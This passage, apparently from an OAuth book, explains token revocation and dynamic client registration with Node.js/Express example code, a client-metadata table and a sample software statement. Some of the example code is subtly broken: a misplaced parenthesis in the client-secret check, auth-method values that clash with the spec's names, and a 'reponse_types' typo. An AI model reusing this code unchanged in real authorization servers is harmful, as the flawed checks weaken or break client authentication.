app.post('/revoke', function(req, res) {

	 var auth = req.headers['authorization'];

	 if (auth) {

		  var clientCredentials = decodeClientCredentials(auth);

		  var clientId = clientCredentials.id;

		  var clientSecret = clientCredentials.secret;

	 }

	

	 if (req.body.client_id) {

		  if (clientId) {

			   res.status(401).json({error: 'invalid_client'});

			   return;

		  }

		

		  var clientId = req.body.client_id;

		  var clientSecret = req.body.client_secret;

	 }

	

	 var client = getClient(clientId);

	 if (!client) {

		  res.status(401).json({error: 'invalid_client'});

		  return;

	 }

	

11 � At the risk of complicating matters even more, the details of this specific use case are a bit more 
subtle because we can now detect that one client has been compromised and had its tokens stolen, 
and we probably want to do something about that.
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	 if (client.client_secret != clientSecret) {

		  res.status(401).json({error: 'invalid_client'});

		  return;

	 }

});

The revocation endpoint takes in one required argument, token, as a form-encoded 
parameter in the body of an HTTP POST, in the same manner as the introspection 
endpoint. We’ll parse out that token and look it up in our database. If we find it, and 
the client that’s making the request is the same as the one that the token was issued to, 
we’ll remove it from the database.

var inToken = req.body.token;

nosql.remove(function(token) {

	 if (token.access_token == inToken && token.client_id == clientId) {

		  return true;	

	 }

}, function(err, count) {

	 res.status(204).end();

	 return;

});

Whether we remove the token or not, we act as if we have done so and tell the client 
that everything is OK. Our final function looks like listing 12 in appendix B.

As with introspection, the authorization server also needs to be able to respond to 
requests to revoke refresh tokens, so a fully compliant implementation will need to 
check the data store for refresh tokens in addition to access tokens. The client can 
even send a token_type_hint parameter that tells the authorization server where 
to check first, though the authorization server is free to ignore this advice and check 
everywhere. Furthermore, if a refresh token is revoked, all access tokens associated 
with that refresh token should also be revoked at the same time. Implementation of 
this functionality is left as an exercise to the reader.

11.5.3	Revoking a token

Now we’re going to let our client revoke a token. We’re going to be revoking tokens in 
reaction to an HTTP POST to a URL on the client. We’ve already wired up a new but-
ton on the client’s homepage to let you access the functionality from the UI. In a pro-
duction system, you would want this functionality to be protected in order to prevent 
external applications and websites from revoking your application’s tokens without its 
knowledge (figure 11.3).

We’ll start by wiring up a handler for the /revoke URL, listening for HTTP POST 
requests.

app.post('/revoke', function(req, res) {

});
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Inside this method, we’re going to create a request to the revocation endpoint. The cli-
ent will authenticate using its regular credentials, passed over the HTTP Basic Authori-
zation header, and it will pass its access token as a form parameter in the request body.

var form_data = qs.stringify({

	 token: access_token

});

var headers = {

	 'Content-Type': 'application/x-www-form-urlencoded',

	 'Authorization': 'Basic ' + encodeClientCredentials(client.client_id, 

client.client_secret)

};

var tokRes = request('POST', authServer.revocationEndpoint, {

	 body: form_data,

	 headers: headers

});

If the response comes back with a success-class status code, we render the main page 
of the application again. If it comes back with an error code, we’ll print an error for the 
user. Either way, we throw away the access token, just to be safe on our side.

access_token = null;

refresh_token = null;

scope = null;

	

if (tokRes.statusCode >= 200 && tokRes.statusCode < 300) {

res.render('index', {access_token: access_token, refresh_token: refresh_ 

token, scope: scope});

	 return;

} else {

	 res.render('error', {error: tokRes.statusCode});

	 return;

}

Figure 11.3  The client’s homepage with a control to trigger token revocation
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Figure 11.4  The OAuth token lifecycle
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The client can request to revoke its refresh token in much the same way. When the 
authorization server gets such a request, it should throw away all access tokens associ-
ated with the refresh token as well. Implementation of this functionality is left as an 
exercise to the reader.

11.6	 The OAuth token lifecycle
OAuth access tokens and refresh tokens have a definite lifecycle. They’re created by the 
authorization server, used by clients, and validated by protected resources. We’ve also 
seen that they can be invalidated by a number of factors, including expiration and revo-
cation. Overall, the token lifecycle can be something like what is shown in figure 11.4.

Although this particular pattern is increasingly common, there are many other 
ways to deploy an OAuth system, such as using stateless JWTs that expire but can’t 
be revoked. However, overall, the general pattern of token use, re-use, and refresh 
remains the same.

11.7	 Summary
OAuth tokens are the central defining component of an OAuth system. 

■■ OAuth tokens can be in any format, as long as it’s understood by the authoriza-
tion server and protected resources.

■■ OAuth clients never have to understand the format of a token (and shouldn’t 
ever try to do so, anyway).

■■ JWT defines a way to store structured information in a token.
■■ JOSE provides methods to cryptographically protect the content of a token.
■■ Introspection allows a protected resource to query the state of a token at runtime.
■■ Revocation allows a client to signal the authorization server to discard unwanted 

tokens after they have been issued, completing the token lifecycle.

Now that you’ve had a thorough rundown of what OAuth tokens are all about, let’s 
take a look at how clients can be introduced to authorization servers with dynamic cli-
ent registration.
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12Dynamic client registration

This chapter covers
■  ■ Reasons for registering OAuth clients dynamically

■  ■ Registering OAuth clients dynamically

■  ■ Managing a client registration over time

■  ■ Security considerations concerning dynamic OAuth clients

■  ■ Protecting dynamic registration with software statements

In OAuth, the client is identified to the authorization server by a client identifier that 
is, generally speaking, unique to the software application functioning as the OAuth 
client. This client ID is passed in the front end to the authorization endpoint during 
the authorization request stage of interactive OAuth flows, such as the authorization 
code grant type that we implemented in chapters 3 through 5. From this client ID, the 
authorization server can make decisions about which redirect URIs to allow, which 
scopes to allow, and what information to display to the end user. The client ID is also 
presented at the token endpoint, and when combined with a client secret the client ID 
can authenticate the client throughout the authorization delegation process of OAuth. 

This client identifier is particularly distinct from any identifiers or accounts that 
may be held by the resource owner. This distinction is important in OAuth because, 
you’ll recall, OAuth doesn’t encourage impersonation of the resource owner. In 
fact, the entire OAuth protocol is all about acknowledging that a piece of software 
is acting on behalf of the resource owner. But how does the client get that identifier, 
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and how does the server know how to associate metadata such as a valid set of redirect 
URIs or scopes with that identifier?

12.1	 How the server knows about the client
In all of our exercises so far, the client ID has been statically configured between the 
authorization server and the client; that is to say, there was an out-of-band agreement—
specifically, the text of this book—that determined ahead of time what the client ID 
and its associated secret would be. The server determined the client ID, which was 
then copied by hand into the client software. A major downside to this approach is 
that every instance of every piece of client software for a given API will need to be tied 
to every instance of an authorization server that protects that API. This is a reason-
able expectation when the client and authorization server have a well-established and 
relatively unchanging relationship, such as when the authorization server is set up to 
protect a single, proprietary API. For example, back in our cloud-printing example, 
the user was given the option to import their photos from a specific, well-known photo-
storage service. The client was specifically written to talk to this particular service. In 
this fairly common setup, a limited number of clients will speak to that API and static 
registration works well enough.

But what if a client is written to access an API that’s available across many differ-
ent servers? What if our printing service could talk to any photo-storage service that 
spoke a standardized photo-storage API? These photo-storage services will likely 
have separate authorization servers, and such a client will need a client identifier 
with each one it talks to. We could try to say that we’ll reuse the same client ID 
regardless of the authorization server, but which authorization server gets to pick 
the ID? After all, not every authorization server will use the same pattern of choos-
ing IDs, and we want to make sure that the chosen ID doesn’t conflict with another 
piece of software on any authorization server. And what happens when there’s a 
new client that needs to be introduced to the ecosystem? Whatever client ID it was 
assigned would need to be communicated to all authorization servers along with the 
associated metadata.

Or what if there were many instances of a piece of client software, and each 
instance needed to talk to the same authorization server? As we saw in chapter 6, 
this is the case with native applications, and each client instance will need a client 
identifier to talk to the authorization server. We could once again say that we’ll use 
the same identifier with each instance, and that can work in some cases. But what 
should we do about a client secret? We already know from chapter 7 that we can’t 
copy the same secret everywhere, since it wouldn’t be much of a secret anymore.1 We 

1 � Google famously got around the OAuth 1.0 requirement of every client needing a client secret 
by declaring that all native applications using Google’s OAuth 1.0 server would use the client ID 
“anonymous” with the client secret “anonymous.” This completely breaks the security model’s 
assumptions. Furthermore, Google added an extension parameter to replace the now-missing client 
ID, which further broke the protocol.
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could approach this by leaving the secret out all together and having our client be a 
public client, which is accepted and codified in the OAuth standard. However, public 
clients are open to all kinds of attacks including authorization code and token theft 
as well as impersonation of a genuine client by malicious software. Sometimes, this 
is an acceptable trade-off, but many times it isn’t and we’d like each instance to have 
a separate client secret.

In either of these cases, manual registration doesn’t scale. To put the problem in 
perspective, consider this extreme but real example: email. Would it be reasonable for 
a developer to register each copy of an email client with each potential email service 
provider before shipping the software? After all, every single domain and host on the 
internet could have its own separate mail server, not to mention intranet mail services. 
It’s clear that this is not at all reasonable, but this is the assumption made with manual 
registration in OAuth. What if there were another way? Can we introduce clients to 
authorization servers without manual intervention?

12.2	 Registering clients at runtime
The OAuth Dynamic Client Registration protocol2 provides a way for clients to intro-
duce themselves to authorization servers, including all kinds of information about the 
client. The authorization server can then provision a unique client ID to the client 
software that the client can use for all subsequent OAuth transactions, and if appropri-
ate associate a client secret with that ID as well. This protocol can be used by the client 
software itself, or it could be used as part of a build and deployment system that acts on 
behalf of the client developer (figure 12.1).

12.2.1	How the protocol works

The core dynamic client registration protocol is a simple HTTP request to the authori-
zation server’s client registration endpoint and its corresponding response. This end-
point listens for HTTP POST requests with a JSON body containing a client’s proposed 
metadata information. This call can be optionally protected by an OAuth token, but 
our example shows an open registration with no authorization.

POST /register HTTP/1.1

Host: localhost:9001

Content-Type: application/json

Accept: application/json

{

  "client_name": "OAuth Client",

  "redirect_uris": ["http://localhost:9000/callback"],

  "client_uri": "http://localhost:9000/",

  "grant_types": ["authorization_code"],

  "scope": "foo bar baz"

}

2 � RFC 7591 https://tools.ietf.org/html/rfc7591
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This metadata can include display names, redirect URIs, scopes, and many other 
aspects of the client’s functionality. (The full official list is included in section 12.3.1, 
if you’d like to read ahead.) However, the requested metadata can never include a 
client ID or client secret. Instead, these values are always under the control of the 
authorization server in order to prevent impersonation of or conflict with other cli-
ents IDs, or selection of weak client secrets. The authorization server can perform 
some basic consistency checks against the presented data, for example, making sure 
that the requested grant_types and response_types can be served together, or 
that the scopes requested are valid for a dynamically registered client. As is gener-
ally the case in OAuth, the authorization server gets to make the decisions about 
what is valid and the client, being a simpler piece of software, obeys what the autho-
rization server dictates.

Upon a successful registration request, the authorization server generates a new 
client ID and, generally, a client secret. These are sent back to the client along with a 
copy of the metadata associated with the client. Any values that the client sends in the 
request are suggested input to the authorization server, but the authorization server 
has the final say over which values are associated with the client’s registration and is 
free to override or reject any inputs as it sees fit. The resulting registration is sent back 
to the client as a JSON object.

Resource 
Owner

Authorization 
Server

Protected
Resource

Client

Request: Display name,
redirect URIs, etc.

Response: Client identifier,
client secret, etc.

Figure 12.1  Information passed in dynamic registration
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HTTP/1.1 201 Created

Content-Type: application/json

{

  "client_id": "1234-wejeg-0392",

  "client_secret": "6trfvbnklp0987trew2345tgvcxcvbjkiou87y6t5r",

  "client_id_issued_at": 2893256800,

  "client_secret_expires_at": 0,

  "token_endpoint_auth_method": "client_secret_basic",

  "client_name": "OAuth Client",

  "redirect_uris": ["http://localhost:9000/callback"],

  "client_uri": "http://localhost:9000/",

  "grant_types": ["authorization_code"],

  "response_types": ["code"],

  "scope": "foo bar baz"

}

In this example, the authorization server has assigned a client ID of 1234-wejeg-0392 
and a client secret of 6trfvbnklp0987trew2345tgvcxcvbjkiou87y6t5r to this cli-
ent. The client can now store these values and use them for all subsequent communica-
tions with the authorization server. Additionally, the authorization server has added a 
few things to the client’s registration record. First, the token_endpoint_auth_method 
value indicates that the client should use HTTP Basic authentication when talking to 
the token endpoint. Next, the server has filled in the missing response_types value 
to correspond to the grant_types value from the client’s request. Finally, the server 
has indicated to the client when the client ID was generated and that the client secret 
won’t expire.

12.2.2	Why use dynamic registration?

There are several compelling reasons for using dynamic registration with OAuth. The 
original OAuth use cases revolved around single-location APIs, such as those from 
companies providing web services. These APIs require specialized clients to talk to 
them, and those clients will need to talk to only a single API provider. In these cases, it 
doesn’t seem unreasonable to expect client developers to put in the effort to register 
their client with the API, because there’s only one provider.

But you’ve already seen two major exceptions to this pattern wherein these assump-
tions don’t hold. What if there’s more than one provider of a given API, or new 
instances of that same API can be stood up at will? For example, OpenID Connect 
provides a standardized identity API, and the System for Cross-domain Identity Man-
agement (SCIM) protocol provides a standardized provisioning API. Both of these 
are protected by OAuth, and both can be stood up by different providers. Although a 
piece of client software could talk to these standard APIs no matter what domains they 
were running on, we know that managing client IDs in this space is unfeasible. Simply 
put, writing a new client or deploying a new server for this protocol ecosystem would 
be a logistical nightmare.

Even if we have a single authorization server to deal with, what about multiple 
instances of a given client? This is particularly pernicious with native clients on mobile 
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platforms, because every copy of the client software would have the same client ID and 
client secret. With dynamic registration, each instance of a client can register itself with 
the authorization server. Each instance then gets its own client ID and, importantly, its 
own client secret that it can use to protect its user.

Remember that we said that the kind of interactions email clients have with servers 
is a driving use case for dynamic registration. Today, OAuth can be used to access Inter-
net Message Access Protocol (IMAP) email services using a Simple Authentication 
and Security Layer–Generic Security Service Application Program Interface (SASL-
GSSAPI) extension. Without dynamic registration, every single mail client would have 
to preregister with every single possible email provider that allowed OAuth access. This 
registration would need to be completed by the developer before the software ships, 
because the end user won’t be able to modify and configure the email client once it’s 
installed. The possible combinations are staggering for both authorization servers that 
need to know about every mail client and for mail clients that need to know about 
every server. Better, instead, to use dynamic client registration, in which each instance 
of a mail client can register itself with each instance of an authorization server that it 
needs to talk to. 

Whitelists, blacklists, and graylists

It may seem intimidating to allow dynamic registration on an authorization server. 
After all, do you want any piece of software to waltz up and start asking for tokens? 
The truth is, oftentimes you want to do exactly that. Interoperability is by its very 
nature indistinguishable from an unsolicited request.

Importantly, a client being registered at the authorization server doesn’t entitle that 
client to access any resources protected by that authorization server. Instead, a 
resource owner still needs to delegate some form of access to the client itself. This 
key fact differentiates OAuth from other security protocols wherein the registration 
event carries with it authority to access resources and therefore needs to be pro-
tected by a strict onboarding process.  

For clients that have been vetted by administrators of the authorization server, and 
have been statically registered by such trusted authorities, the authorization server 
might want to skip prompting the resource owner for their consent. By placing certain 
trusted clients on a whitelist, the authorization server can smooth the user experi-
ence for these clients. The OAuth protocol works exactly the same as before: the 
resource owner is redirected to the authorization endpoint, where they authenticate, 
and the authorization server reads the access request in the front channel. But 
instead of prompting the user for their decision about a trusted client, the authoriza-
tion server can have policy decide that a client is already authorized, and return the 
result of the authorization request immediately. 

At the other end of the spectrum, an authorization server can decide that it never 
wants to let clients with particular attributes register or request authorization. This 
(continued)
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12.2.3	 Implementing the registration endpoint

Now that you know how the protocol works, we’re going to implement it. We’ll start 
on the server side with the registration endpoint. Open up ch-12-ex-1 and edit 
authorizationServer.js for this part of the exercise. Our authorization server will 
use the same in-memory array for client functionality that it did in chapter 5, mean-
ing this storage will reset whenever the server is restarted. In contrast, a production 
environment is likely to want to use a database or some other, more robust storage 
mechanism.

First, we’ll need to create the registration endpoint. On our server, this listens for 
HTTP POST requests on the /register URL, so we’ll set up a handler for that. In our 
server, we’re only going to be implementing public registration, which means we’re 
not going to be requiring the optional OAuth access token at our registration end-
point. We’re also going to set up a variable to collect the incoming client metadata 
requests as we process them.

app.post('/register', function (req, res){

	 var reg = {};

});

The Express.js code framework in our application is set up to automatically parse the 
incoming message as a JSON object, which is made available to the code in the req 
.body variable. We’re going to do a handful of basic consistency checks on the incom-
ing data. First, we’ll see what the client has asked for as an authentication method. If 
it hasn’t specified one, we’re going to default to using a client secret over HTTP Basic. 
Otherwise, we’ll take the input value specified by the client. We’ll then check to make 
sure that value is valid, and return an invalid_client_metadata error if it is not. 
Note that the values for this field, like secret_basic, are defined by the specification 
and can be extended with new definitions.

can be a set of redirect URIs that are known to house malicious software, or display 
names that are known to be intentionally confusing to end users, or other types of 
detectable malice. By placing these attribute values on a blacklist, the authorization 
server can prevent clients from ever using them.

Everything else can go on a graylist, whereby resource owners make the final authori-
zation decisions. Dynamically registered clients that don’t fall under the blacklist and 
have not yet been whitelisted should automatically fall on the graylist. These clients 
can be more limited than statically registered clients, such as not having the ability 
to ask for certain scopes or use certain grant types, but otherwise they function as 
normal OAuth clients. This will allow greater scalability and flexibility for an authoriza-
tion server without compromising its security posture. A dynamically registered client 
used successfully by many users over a sufficiently long period of time could eventu-
ally become whitelisted, and malicious clients could find their registrations revoked 
and their key attributes blacklisted.
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if (!req.body.token_endpoint_auth_method) {

	 reg.token_endpoint_auth_method = 'secret_basic';	

} else {

	 reg.token_endpoint_auth_method = req.body.token_endpoint_auth_method;

}

if (!__.contains(['secret_basic', 'secret_post', 'none'],  

reg.token_endpoint_auth_method)) {

	 res.status(400).json({error: 'invalid_client_metadata'});

	 return;

}

Next, we’ll read in the grant_type and response_type values and ensure that 
they are consistent. If the client doesn’t specify either, we’ll default them to an 
authorization code grant. If they request a grant_type but not its corresponding 
response_type, or vice versa, we’ll fill in the missing value for them. The specifica-
tion defines not only the appropriate values but also the relationship between these 
two values. Our simple server supports only the authorization code and refresh 
token grants, so we’re going to send back an invalid_client_metadata error if 
they request anything else.

if (!req.body.grant_types) {

	 if (!req.body.response_types) {

		  reg.grant_types = ['authorization_code'];

		  reg.response_types = ['code'];

	 } else {

		  reg.response_types = req.body.response_types;

		  if (__.contains(req.body.response_types, 'code')) {

			   reg.grant_types = ['authorization_code'];

		  } else {

			   reg.grant_types = [];

		  }

	 }

} else {

	 if (!req.body.response_types) {

		  reg.grant_types = req.body.grant_types;

		  if (__.contains(req.body.grant_types, 'authorization_code')) {

			   reg.response_types =['code'];

		  } else {

			   reg.response_types = [];

		  }

	 } else {

		  reg.grant_types = req.body.grant_types;

		  reg.reponse_types = req.body.response_types;

		  if (__.contains(req.body.grant_types, 'authorization_code') && !__.

contains(req.body.response_types, 'code')) {

			   reg.response_types.push('code');

		  }

		  if (!__.contains(req.body.grant_types, 'authorization_code') && 

__.contains(req.body.response_types, 'code')) {

			   reg.grant_types.push('authorization_code');

		  }

	 }

}
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if (!__.isEmpty(__.without(reg.grant_types, 'authorization_code',  

'refresh_token')) ||

		  !__.isEmpty(__.without(reg.response_types, 'code'))) {

	 res.status(400).json({error: 'invalid_client_metadata'});

	 return;

}

Next, we’ll make sure that the client has registered at least one redirect URI. We 
enforce this on all clients because this version of the server supports only the authori-
zation code grant type, which is based on a redirect. If you were supporting other grant 
types that don’t use redirection, you’d want to make this check conditional on the 
grant type. If you were checking redirect URIs against a blacklist, this would be a good 
place to implement that functionality as well, but implementing that type of filtering is 
left as an exercise to the reader.

if (!req.body.redirect_uris || !__.isArray(req.body.redirect_uris) || 

__.isEmpty(req.body.redirect_uris)) {

	 res.status(400).json({error: 'invalid_redirect_uri'});

	 return;

} else {

	 reg.redirect_uris = req.body.redirect_uris;

}

Next, we’ll copy over the other fields that we care about, checking their data types on 
the way. Our implementation will ignore any additional fields passed in that it doesn’t 
understand, though a production quality implementation might want to hang on to 
extra fields in case additional functionality is added to the server at a later time.

if (typeof(req.body.client_name) == 'string') {

	 reg.client_name = req.body.client_name;

}

	

if (typeof(req.body.client_uri) == 'string') {

	 reg.client_uri = req.body.client_uri;

}

	

if (typeof(req.body.logo_uri) == 'string') {

	 reg.logo_uri = req.body.logo_uri;

}

	

if (typeof(req.body.scope) == 'string') {

	 reg.scope = req.body.scope;

}

Finally, we’ll generate a client ID and, if the client is using an appropriate token end-
point authentication method, a client secret. We’ll also note the registration time-
stamp and mark that the secret doesn’t expire. We’ll attach these directly to our client 
registration object that we’ve been building up.

reg.client_id = randomstring.generate();

if (__.contains(['client_secret_basic', 'client_secret_post']),  

reg.token_endpoint_auth_method) {

	 reg.client_secret = randomstring.generate();

}
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reg.client_id_created_at = Math.floor(Date.now() / 1000);

reg.client_secret_expires_at = 0;

Now we can store that client object in our client storage. As a reminder, we’re using a 
simple in-memory array, but a production system would probably be using a database 
for this part. After we’ve stored it, we return the JSON object to the client.

clients.push(reg);

res.status(201).json(reg);

return;

Once it’s all put together, our registration endpoint looks like listing 13 in appendix B.
Our authorization server’s registration system is simple, but it can be augmented to 

do other checks on the client such as checking all URLs against a blacklist, limiting the 
scopes available to dynamically registered clients, ensuring the client provides a contact 
address, or any number of other checks. The registration endpoint can also be pro-
tected by an OAuth token, thereby associating the registration with the resource owner 
who authorized that token. These enhancements are left as an exercise to the reader.

12.2.4	Having a client register itself

Now we’re going to set up our client to register itself as needed. Using the previous 
exercise, edit client.js. Near the top of the file, note that we’ve set aside an empty 
object for storing client information:

var client = {};

Instead of filling it in by hand as we did in chapter 3, we’re going to use the dynamic 
registration protocol. Once again, this is an in-memory storage solution that gets reset 
every time the client software is restarted, and a production system will likely use a 
database or other storage mechanism for this role.

First, we have to decide whether we need to register, because we don’t want to regis-
ter a new client every time we need to talk to the authorization server. When the client 
is about to send the initial authorization request, it first checks to see whether it has a 
client ID for the authorization server. If it doesn’t have one, it calls a utility function 
to handle client registration. If the registration was successful, the client continues on. 
If it wasn’t, the client renders an error and gives up. This code is already included in 
the client.

if (!client.client_id) {

	 registerClient();

	 if (!client.client_id) {

		  res.render('error', {error: 'Unable to register client.'});

		  return;

	 }

}

Now we’ll be defining that registerClient utility function. This is a simple function 
that will POST a registration request to the authorization server and store the response 
in the client object.
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var registerClient = function() {

};

First, we need to define the metadata values that we’re sending to the authorization 
server. These act as a kind of template for our client’s configuration, and the authori-
zation server will fill in the other required fields such as the client ID and client secret 
for us.

var template = {

	 client_name: 'OAuth in Action Dynamic Test Client',

	 client_uri: 'http://localhost:9000/',

	 redirect_uris: ['http://localhost:9000/callback'],

	 grant_types: ['authorization_code'],

	 response_types: ['code'],

	 token_endpoint_auth_method: 'secret_basic'

};

We send this template object over to the server in an HTTP POST request.

var headers = {

	 'Content-Type': 'application/json',

	 'Accept': 'application/json'

};

	

var regRes = request('POST', authServer.registrationEndpoint, 

	 {

		  body: JSON.stringify(template),

		  headers: headers

	 }

);

Now we’ll check the result object. If we get back an HTTP code of 201 Created, we save 
the returned object to our client object. If we get back an error of any kind, we don’t 
save the client object, and we allow whatever function called us to pick up on the error 
state of the client being unregistered and handle it appropriately.

if (regRes.statusCode == 201) {

	 var body = JSON.parse(regRes.getBody());

	 console.log("Got registered client", body);

	 if (body.client_id) {

		  client = body;

	 }

}

From here, the rest of the application takes over as normal. No further changes are 
needed to the calls to the authorization server, the processing of tokens, or access of 
the protected resource (figure 12.2). The client name that you registered now shows 
up on the authorization screen, as does the dynamically generated client ID. To test 
this, edit the client’s template object, restart the client, and run the test again. Note 
that you don’t need to restart the authorization server for the registration to succeed. 
Since the authorization server can’t identify the client software making the request, 
it will happily accept a new registration request from the same client software many 
times, issuing a new client ID and secret each time.
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Some clients need to be able to get tokens from more than one authorization server. 
For an additional exercise, refactor the client’s storage of its registration information 
such that it’s dependent on the authorization server that the client is talking to. For 
an additional challenge, implement this using a persistent database instead of an in-
memory storage mechanism.

12.3	 Client metadata
The attributes associated with a registered client are collectively known as its client 
metadata. These attributes include those that affect the functionality of the underly-
ing protocol, such as redirect_uris and token_endpoint_auth_method, as well as 
those that affect the user experience, such as client_name and logo_uri. As you’ve 
seen in the previous examples, these attributes are used in two different ways in the 
dynamic registration protocol:

1	 Client sending to server. The client sends a set of requested attribute values to the 
authorization server. These requested values may not be compatible with the 
configuration of a given authorization server, such as a request for grant_types 
that the server doesn’t support or scope that the client isn’t authorized for, so 
the client must not always expect a successful registration to match what it has 
requested.

Figure 12.2  The authorization server’s approval page, showing a randomized client ID and the 
requested client display name
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2	 Server returning to client. The authorization server sends back a set of registered 
attribute values to the client. The authorization server can replace, augment, or 
remove the client’s requested attributes however it sees fit. The authorization 
server will usually attempt to honor the client’s requested attributes, but the 
authorization server always has the final say. In any event, the authorization 
server must always return the actual registered attributes to the client. The 
client can respond to an undesirable registration outcome however it sees fit, 
including attempting to modify the registration with more applicable values or 
refusing to communicate with that authorization server.

As in most places in OAuth, the client is subservient to the authorization server. The 
client can request, but the authorization server dictates the final reality.

12.3.1	Table of core client metadata field names

The core dynamic client registration protocol defines a set of common client metadata 
names, and this set can be extended. For example, the OpenID Connect Dynamic Cli-
ent Registration specification, which is based on and compatible with OAuth Dynamic 
Client Registration, extends this list with a few more of its own, specific to the OpenID 
Connect protocol that we’ll cover chapter 13. We’ve included a few OpenID Connect 
specific extensions in table 12.1 that have general applicability to OAuth clients.

12.3.2	 Internationalization of human-readable client metadata

Among the various possible pieces of client information that are sent in a registration 
request and response, several are intended to be presented to the resource owner on 
the authorization page or other user-facing screens on the authorization server. These 
consist of either strings that are displayed directly for the user (such as client_name, 
the display name of the client software) or URLs for the user to click on (such as  
client_uri, the client’s homepage). But if a client can be used in more than one lan-
guage or locale, it could have a version of these human-readable values for each language 
that it supports. Would such a client need to register separately for each language family?

Thankfully not, as the dynamic client registration protocol has a system (borrowed 
from OpenID Connect) for representing values in multiple languages simultaneously. 
In a plain claim, such as client_name, the field and value will be stored as a normal 
JSON object member:

“client_name”: “My Client”

In order to represent a different language or script, the client also sends a version 
of the field with the language tag appended to the field name with the # (pound or 
hash) character. For example, let’s say that this client is known as “Mon Client” in 
French. The language code for French is fr, and so the field would be represented as 
client_name#fr in the JSON object. These two fields would be sent together.

“client_name”: “My Client”,
“client_name#fr”: “Mon Client”
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Table 12.1  Client metadata fields available in dynamic client registration

Name Values and Description

redirect_

uris

An array of URI strings used in redirect-based OAuth grants, such as 
authorization_code and implicit. 

token_

endpoint_

auth_method

How the client will authenticate to the token endpoint. 

none The client doesn’t authenticate to the token 
endpoint, either because it doesn’t use the token 
endpoint, or it uses the token endpoint but is a 
public client.

client_secret_basic The client sends its client secret using HTTP 
Basic. This is the default value if one isn’t 
specified and the client is issued a client secret.

client_secret_post The client sends its client secret using HTTP form 
parameters.

client_secret_jwt The client will create a JSON Web Token (JWT) 
symmetrically signed with its client secret.

private_key_jwt The client will create a JWT asymmetrically signed 
with its private key. The public key will need to be 
registered with the authorization server.

grant_types Which grant types the client will use to get tokens. The values here are the same 
ones used at the token endpoint in the grant_type parameter.

authorization_code The authorization code grant, where the client 
sends the resource owner to the authorization 
endpoint to obtain an authorization code, then 
presents that code back to the token endpoint. 
Needs to be used with the “code” response_
type.

implicit The implicit grant, where the client sends the 
resource owner to the authorization endpoint to 
obtain a token directly. Needs to be used with the 
“token” response type.

password The resource owner password grant, where 
the client prompts the resource owner for their 
username and password and exchanges them for 
a token at the token endpoint.

client_credentials The client credentials grant, where the client uses 
its own credentials to obtain a token for itself.

refresh_token The refresh token grant, where the client uses a 
refresh token to obtain a new access token when 
the resource owner is no longer present.

urn:ietf:params:oauth: 

grant-type:jwt-bearer

The JWT assertion grant, where the client 
presents a JWT with specific claims to obtain a 
token.
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Name Values and Description

urn:ietf:params:oauth: 

grant-type:saml2-

bearer

The Security Assertion Markup Language (SAML) 
assertion grant, where the client presents a SAML 
document with specific claims to obtain a token.

response_

types

Which response types the client will use at the authorization endpoint. These values 
are the same as those used in the response_type parameter.

code The authorization code response type, which 
returns an authorization code that needs to be 
handed in at the token endpoint to get a token. 

token The implicit response type, which returns a token 
directly to the redirect URI.

client_name A human-readable display name for the client. 

client_uri A URI that indicates the client’s homepage. 

logo_uri A URI for a graphical logo for the client. The authorization server can use this URL 
to display a logo for the client to the user, but keep in mind that fetching an image 
URL could have security and privacy considerations for the user.

scope A list of scopes that the client can use when requesting tokens. This is formatted 
as a string of space-separated values, as in the OAuth protocol.

contacts A list of ways to contact the people responsible for a client. Usually these are email 
addresses, but they could be phone numbers, instant messaging addresses, or 
other contact mechanisms.

tos_uri A URI for a human-readable page that lists the terms of service for the client. These 
terms describe the contractual relationship that the resource owner accepts when 
authorizing the client.

policy_uri A URI for a human-readable page that contains the privacy policy for the client. This 
policy describes how the organization that has deployed the client collects, uses, 
retains, and discloses the resource owner’s personal data, including data accessed 
through authorized API calls.

jwks_uri A URI that points to the JSON Web Key Set containing the public keys for this client, 
hosted in a place accessible to the authorization server. This field can’t be used 
along with the jwks field. The jwks_uri field is preferred, as it allows the client 
to rotate keys.

jwks A JSON Web Key Set document (a JSON object) containing the public keys for this 
client. This field can’t be used along with the jwks_uri field. The jwks_uri field 
is preferred, as it allows the client to rotate keys.

software_id A unique identifier for the software that the client is running. This identifier will be 
the same across all instances of a given piece of client software.

software_

version

A version identifier for the client software indicated by the software_id field. The 
version string is opaque to the authorization server, and no particular format is 
assumed.

Table 12.1  Client metadata fields available in dynamic client registration (continued )
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The authorization server should use the most specific entry possible in interacting with 
users. For instance, if a user on the authorization server has registered their preferred 
language as French, the authorization server would display the French version of the 
name in lieu of the generic version. The client should always provide the generic ver-
sion of a field name, because if nothing more specific is available, or if international 
locales aren’t supported, the authorization server will display the generic text with no 
locale qualifier.

Implementation and use of this feature are left as an exercise to the reader, since it 
requires a bit of fiddling with the client’s data model and the web server’s locale set-
tings to be useful. Although some programming languages are able to automatically 
parse JSON objects into native objects in the language platform, and thereby offer 
native object-member access to the values, the # character used in this internationaliza-
tion method is often not a valid character for object method names. Therefore, alter-
native access methods need to be used. For example, in JavaScript, the first value in 
the previous object could be accessed as client.client_name, but the second value 
would need to be accessed as client[“client_name#fr”] instead.

12.3.3	Software statements

Every metadata value that a client sends in a dynamic registration request needs to be 
considered completely self-asserted. In such circumstances, there is nothing prevent-
ing a client from claiming a misleading client name or a redirect URI on someone 
else’s domain. As you saw in chapters 7 and 9, this can lead to a whole range of vulner-
abilities if the authorization server isn’t careful. 

But what if we had a way to present client metadata to the authorization server in 
a way that the authorization server could verify that it’s coming from a trusted party? 
With such a mechanism, the authorization server would be able to lock down certain 
metadata attributes in clients and have a higher assurance that the metadata is valid. 
The OAuth dynamic registration protocol provides such a mechanism in the software 
statement. 

Simply put, a software statement is a signed JWT that contains as its payload client 
metadata as it would be found inside a request to the registration endpoint, as we 
saw in section 12.2. Instead of manually registering each instance of a piece of client 
software with all authorization servers, the client developer can instead preregister 
some subset of their client’s metadata, particularly the subset not likely to change 
over time, at a trusted third party and be issued a software statement signed by the 
trusted party. The client software can then present this software statement along with 
any additional metadata required for registration to the authorization servers that it 
registers at. 

Let’s take a look at a concrete example. Suppose that a developer wants to prereg-
ister a client such that the client name, client homepage, logo, and terms of service 
are constant across all instances of the client and across all authorization servers. The 
developer registers these fields with a trusted authority and is issued a software state-
ment in the form of a signed JWT.
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eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzb2Z0d2FyZV9pZCI6Ijg0MDEyLTM5MTM0LTM5 
MTIiLCJzb2Z0d2FyZV92ZXJzaW9uIjoiMS4yLjUtZG9scGhpbiIsImNsaWVudF9uYW1lIjoiU3BlY 
